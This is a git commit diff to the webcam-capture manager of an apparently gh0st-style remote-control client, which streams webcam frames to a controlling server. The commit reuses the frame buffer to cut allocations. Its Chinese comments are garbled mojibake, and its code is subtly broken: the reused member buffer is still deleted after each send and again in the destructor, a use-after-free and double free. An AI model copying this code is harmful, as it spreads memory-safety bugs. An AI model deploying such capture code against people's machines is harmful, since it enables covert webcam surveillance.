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减少捕获音视频时申请内存次数

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减少音频视频捕获过程中频繁申请内存。
This commit is contained in:
yuanyuanxiang
2019-01-22 20:44:23 +08:00
parent 4283a31e66
commit bd7b9ed492
11 changed files with 63 additions and 36 deletions
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46
client/VideoManager.cpp
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@@ -20,6 +20,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientO
m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
lpBuffer = NULL;
m_hWorkThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
@@ -39,17 +40,29 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen();
This->WaitForDialogOpen();
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
timeBeginPeriod(1);
while (This->m_bIsWorking)
{
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
if ((GetTickCount() - dwLastScreen) < 150)
Sleep(100);
int span = sleep-(GetTickCount() - dwLastScreen);
Sleep(span > 0 ? span : 1);
if (span < 0)
printf("SendScreen Span = %d ms\n", span);
dwLastScreen = GetTickCount();
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD>
if(FALSE == This->SendNextScreen())
break;
}
timeEndPeriod(1);
This->Destroy();
std::cout<<"CVideoManager WorkThread end\n";
@@ -60,7 +73,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
CVideoManager::~CVideoManager()
{
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
m_CapVideo.m_bExit = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
std::cout<<"CVideoManager ~CVideoManager \n";
@@ -69,10 +82,13 @@ CVideoManager::~CVideoManager()
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
if (lpBuffer)
delete [] lpBuffer;
}
void CVideoManager::Destroy()
{
m_bIsWorking = FALSE;
std::cout<<"CVideoManager Destroy \n";
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{
@@ -90,18 +106,21 @@ void CVideoManager::SendBitMapInfor()
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
}
void CVideoManager::SendNextScreen()
BOOL CVideoManager::SendNextScreen()
{
DWORD dwBmpImageSize=0;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
if(lpDIB == NULL)
return FALSE;
// token + IsCompress + m_fccHandler + DIB
int nHeadLen = 1 + 1 + 4;
const int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + dwBmpImageSize;
LPBYTE lpBuffer = new BYTE[nBufferLen];
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //<2F><><EFBFBD>ｫ<EFBFBD><EFBDAB>Ƶѹ<C6B5><D1B9><EFBFBD><EFBFBD>д<EFBFBD><D0B4>Ҫ<EFBFBD><D2AA><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
@@ -109,15 +128,14 @@ void CVideoManager::SendNextScreen()
if (m_bIsCompress && m_pVideoCodec) //<2F><><EFBFBD><EFBFBD><EFBFBD>жϣ<D0B6><CFA3>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>ѹ<EFBFBD><D1B9>
{
int nCompressLen = 0;
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
&nCompressLen, NULL);
if (!nCompressLen)
{
// some thing error
delete [] lpBuffer;
return;
return FALSE;
}
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㷢<EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
@@ -133,7 +151,7 @@ void CVideoManager::SendNextScreen()
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
delete [] lpBuffer;
return TRUE;
}